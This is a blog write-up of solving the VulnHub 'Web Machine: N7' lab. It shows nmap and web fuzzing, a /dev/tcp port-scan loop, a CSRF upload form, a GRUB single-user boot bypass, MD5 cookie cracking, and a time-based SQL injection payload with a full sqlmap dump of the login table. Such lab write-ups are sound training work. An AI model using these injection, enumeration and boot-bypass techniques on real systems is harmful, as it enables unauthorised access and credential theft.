[VulnHub] Web Machine: (N7)

[VulnHub] Web Machine: (N7)

https://www.vulnhub.com/entry/web-machine-n7,756/

·

7 min read

Difficulty: Medium

Using VirtualBox, we first make sure the kali and the target machines have a Host-only Adapter enabled.

Host discovery

Let's find out the target's IP through a network discovery:

kali@kali:~$ fping -ag 192.168.56.0/24 2>/dev/null
192.168.56.1
192.168.56.100
192.168.56.101
192.168.56.103

192.168.56.101 is our IP, and 192.168.56.103 the target's one.

Open ports

Nmap scan:

kali@kali:~$ sudo nmap -sS --open -p- -Pn -v10 -oA syn_full 192.168.56.103
PORT   STATE SERVICE
80/tcp open  http
kali@kali:~$ sudo nmap -v10 -sC -sV -p80 -oA nse 192.168.56.103
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.46 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.46 (Debian)
MAC Address: 08:00:27:ED:BD:C7 (Oracle VirtualBox virtual NIC)

The Server HTTP header The website is an Apache/2.4.46, hosted in a Debian machine.

HTTP

The website only contains a link to the /profile.php resource, which is a nearly blank page.

Down the rabbit holes

Let's enumerate the web resources to retrieve more sensitive files:

kali@kali:~$  ffuf -c -u http://192.168.56.103/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -recursion -fc 404,403
javascript              [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 3ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/FUZZ

.                       [Status: 200, Size: 1620, Words: 536, Lines: 49, Duration: 5ms]
[INFO] Starting queued job on target: http://192.168.56.103/javascript/FUZZ

jquery                  [Status: 301, Size: 328, Words: 20, Lines: 10, Duration: 4ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/jquery/FUZZ

highlight               [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 0ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/highlight/FUZZ

skeleton                [Status: 301, Size: 330, Words: 20, Lines: 10, Duration: 0ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/skeleton/FUZZ

jquery-ui               [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 5ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/jquery-ui/FUZZ

[INFO] Starting queued job on target: http://192.168.56.103/javascript/jquery/FUZZ

jquery                  [Status: 200, Size: 275451, Words: 33863, Lines: 10441, Duration: 234ms]
[INFO] Starting queued job on target: http://192.168.56.103/javascript/highlight/FUZZ

styles                  [Status: 301, Size: 338, Words: 20, Lines: 10, Duration: 0ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/highlight/styles/FUZZ

highlight               [Status: 200, Size: 788290, Words: 160256, Lines: 16647, Duration: 72ms]
[INFO] Starting queued job on target: http://192.168.56.103/javascript/skeleton/FUZZ

skeleton                [Status: 200, Size: 11452, Words: 1454, Lines: 419, Duration: 6ms]
[INFO] Starting queued job on target: http://192.168.56.103/javascript/jquery-ui/FUZZ

[...]

No sensitive information are disclosed :/

Accessing the potentially highlighted PHP script profile.phps is forbidden:

>>>
GET /profile.phps HTTP/1.1
Host: 192.168.56.103

<<<
HTTP/1.1 403 Forbidden
Date: Sun, 10 Jul 2022 23:06:42 GMT
Server: Apache/2.4.46 (Debian)

But this sounds like a generic Apache rule, which forbids the access of any *.phps files:

>>>
GET /thereIsNoWayThat-You-CanBeThere.phps HTTP/1.1
Host: 192.168.56.103

<<<
HTTP/1.1 403 Forbidden

After a counteless number of hours, I tried to look for open ports using Nmap FW evasion techniques, but I couldn't find anything else than the HTTP server.... Note that the following bash loop shows the same opened port:

kali@kali:~$ for port in {1..65535}; do bash -c "echo >/dev/tcp/192.168.56.103/$port" 2>/dev/null && echo "port $port is open"; done
port 80 is open

None of my tests revealed vulnerabilities on the target (HTTP Host injections, Param Miner discloser, Information disclosure, ...).

Extensioned Web Fuzzing!

After quite some time, I realized that I should have mentioned the -x attribute in gobuster to add an html extension to each file in the wordlist:

-x, --extensions string File extension(s) to search for

kali@kali:~$ gobuster dir -u http://192.168.56.103 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -k -x txt,html,php,css,js,sh,py,cgi,db -t 50
http://192.168.56.103/index.html           (Status: 200) [Size: 1620]
http://192.168.56.103/profile.php          (Status: 200) [Size: 1473]
http://192.168.56.103/style.css            (Status: 200) [Size: 293]
http://192.168.56.103/javascript.js        (Status: 200) [Size: 0]
http://192.168.56.103/javascript           (Status: 301) [Size: 321] [--> http://192.168.56.103/javascript/]
http://192.168.56.103/exploit.html         (Status: 200) [Size: 279]
[...]

Indeed, even though exploit.html doesn't exist is SecList's wordlists, exploit exists. Therefore, exploit.html can only be recovered if -x html is set with gobuster.

Alternatively, we could have used ffuf with its -e option:

-e Comma separated list of extensions. Extends FUZZ keyword.

CSRF PoC

This page contains a CSRF form, seemingly generated by Burp Suite:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body background="black">

  <form action="http://localhost/profile.php" method="POST" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" >
  </form >

  </body>
</html>

More details here.

Once I filled the form, I intercepted the request with Burp. Then, because I'm not running any web server locally (in localhost/profile.php), I updated the target to http://192.168.56.103 in the Repeater's option:

>>>
POST /profile.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------328855184733291030797038428
Content-Length: 217

-----------------------------328855184733291030797038428
Content-Disposition: form-data; name="file"; filename="tmp.txt"
Content-Type: text/plain

tmp

-----------------------------328855184733291030797038428--

<<<
FLAG{N7

Even if the Host header is set to localhost, the real target (namely 192.168.56.103) is defined in the Repeater's option.

Indeed, Burp Suite accurately maintains the separation between the Host header and the target IP address. This separation allows to supply any arbitrary or malformed Host header we want, while still making sure that the request is sent to the intended target.

But the flag disclosed in the response doesn't seem complete.

However, the diclosure of the flag depends on the file uploaded. So I tried to brute force that parameter name with a Param Miner wordlist:

#!/usr/bin/env python3
import hashlib
import time
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import sys

def upload_php_file(file_name, param):
    mp_encoder = MultipartEncoder(
        fields={
            param: (file_name, open(file_name, 'rb'), 'application/x-php'),
        }
    )

    requests.post(
        url=url,
        data=mp_encoder,
        headers={'Content-Type': mp_encoder.content_type},
        proxies={'http':'http://127.0.0.1:8080'}
    )

url = 'http://192.168.56.103/profile.php'
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"[+] Usage: python3 {sys.argv[0]} <FILE.php>")
    else:
        file_name = sys.argv[1]
        with open('params.txt', 'r') as f:
            for param in f.read().splitlines():
                req = requests.get(url=f'{url}{upload_php_file(file_name, param)}')
kali@kali:~$ python upload_php_file.py params.txt

Unfortunately, the Burp's history contained no other valid parameter than "file".

What about cheating a bit ?

I didn't want to lost some other hours again. Fortunately, we can cheat in VulnHub :].

Once the N7 machine boots, we can press e to edit the boot options in the GRUB menu, and update the line:

  linux  /boot/vmlinuz-5.9.0-kali1-amd64 root=UUID=[...] ro  quiet splash

To:

  linux  /boot/vmlinuz-5.9.0-kali1-amd64 root=UUID=[...] rw quiet single init=/bin/bash

Once we save the change using CTRL+X and boot the system, we see that /var/www/html contains a directory called enter_network:

root@(none):/$ ls /var/www/html/
[...]
enter_network
exploit.html
[...]

Then, I checked if such pattern was present in any SecLists's wordlist:

kali@kali:~$ grep -rni 'enter_network' /usr/share/seclists/Discovery/Web-Content
/usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt:137985:strategy_center_networking
/usr/share/seclists/Discovery/Web-Content/combined_directories.txt:1376687:strategy_center_networking

It is not. Maybe in other dirb wordlists ?

kali@kali:~$ grep -rni 'enter_network' /usr/share/wordlists/dirb
kali@kali:~$ grep -rni 'enter_network' /usr/share/wordlists/dirbuster
/usr/share/wordlists/dirbuster/directory-list-1.0.txt:137985:strategy_center_networking

No.. Maybe in any other wordlist (even rockyou.txt is accepted) ?!

kali@kali:~$ grep -rni 'enter_network' /usr/share/wordlists/

No... Is it contained in any /usr/share wordlist ?

kali@kali:~$ grep -rni 'enter_network' /usr/share/
/usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt:137985:strategy_center_networking
/usr/share/seclists/Discovery/Web-Content/combined_directories.txt:1376687:strategy_center_networking
/usr/share/dirbuster/wordlists/directory-list-1.0.txt:137985:strategy_center_networking

No.... The only way to get that resource might be to brute-force it (but there's a special character _ in it :/). So I'm okay with that workaround.

enter_network

This page contains a username/password form:

>>>
POST /enter_network/ HTTP/1.1
Host: 192.168.56.103

user=admin&pass=password&sub=SEND

<<<
HTTP/1.1 200 OK
Server: Apache/2.4.46 (Debian)
Set-Cookie: user=JGFyZ29uMmkkdj0xOSRtPTY1NTM2LHQ9NCxwPTEkVjJoVVVrMDRiVEZEWlVKVVpXaFZSQSRQbHFpdWM3elhWSEM5alFtNUxxLzIyTlY5ZFI5a3M2U0poUkltbGxzeXVr; expires=Mon, 11-Jul-2022 22:09:01 GMT; Max-Age=10000; path=/
Set-Cookie: role=MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%253D; expires=Mon, 11-Jul-2022 22:09:01 GMT; Max-Age=10000; path=/

<form action="" method="POST">
    username: <input type="text" name="user">
    <br>
    password: <input type="password" name="pass">
    <br>
    <input type="submit" name="sub" value="SEND">
</form>

Nothing is shown in the response's body. However, we're set 2 cookies, decoded into:

user=$argon2i$v=19$m=65536,t=4,p=1$VXgub2R2LmxwTVRpaThjNQ$cvselxQfn/MOW2HMgtvMfKSESiCRPOEmeKsdzcUr3D0
role=21232f297a57a5a743894a0e4a801fc3

Note that role is cracked with john as admin:

kali@kali:~$ echo -n '21232f297a57a5a743894a0e4a801fc3' |john --format=raw-md5 /dev/stdin
admin            (?)

Time-based SQLi

Finally, I tried some basic injections, such as blind SQL injections:

>>>
POST /enter_network/ HTTP/1.1
Host: 192.168.56.103

user=admin'or sleep(5)#&pass=passworsd&sub=SEND

<<<
[5.5927millis]

Note that the SQL results aren't reflected in the output when using UNION statements such as admin'UNION SELECT 'foo','bar'#. Also, we can't use any boolean-based method, because 'OR '7'='7 and 'AND '1'='7 produce the same ouput.

Then, let's tell sqlmap to do the blind injection for us:

kali@kali:~$ sqlmap -u "http://192.168.56.103/enter_network/" --data="user=foo&pass=bar&sub=SEND" --dbms=mysql --dump --threads=10 --batch
[WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[INFO] fetching current database
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[INFO] adjusting time delay to 2 seconds due to good response times
Machine
[INFO] fetching tables for database: 'Machine'
[INFO] fetching number of tables for database 'Machine'
[INFO] retrieved: 1
[INFO] retrieved: login
[INFO] fetching columns for table 'login' in database 'Machine'
[INFO] retrieved: 3
[INFO] retrieved: username
[INFO] retrieved: password
[INFO] retrieved: role
[INFO] fetching entries for table 'login' in database 'Machine'
[INFO] fetching number of entries for table 'login' in database 'Machine'
[INFO] retrieved: 1
[WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
FLAG{N7[...]01}
[INFO] retrieved: admin
[INFO] retrieved: administrator
Database: Machine
Table: login
[1 entry]
+-------+-----------------+---------------+
| role  | password        | username      |
+-------+-----------------+---------------+
| admin | FLAG{N7[...]01} | administrator |
+-------+-----------------+---------------+

Did you find this article valuable?

Support jamarir's blog by becoming a sponsor. Any amount is appreciated!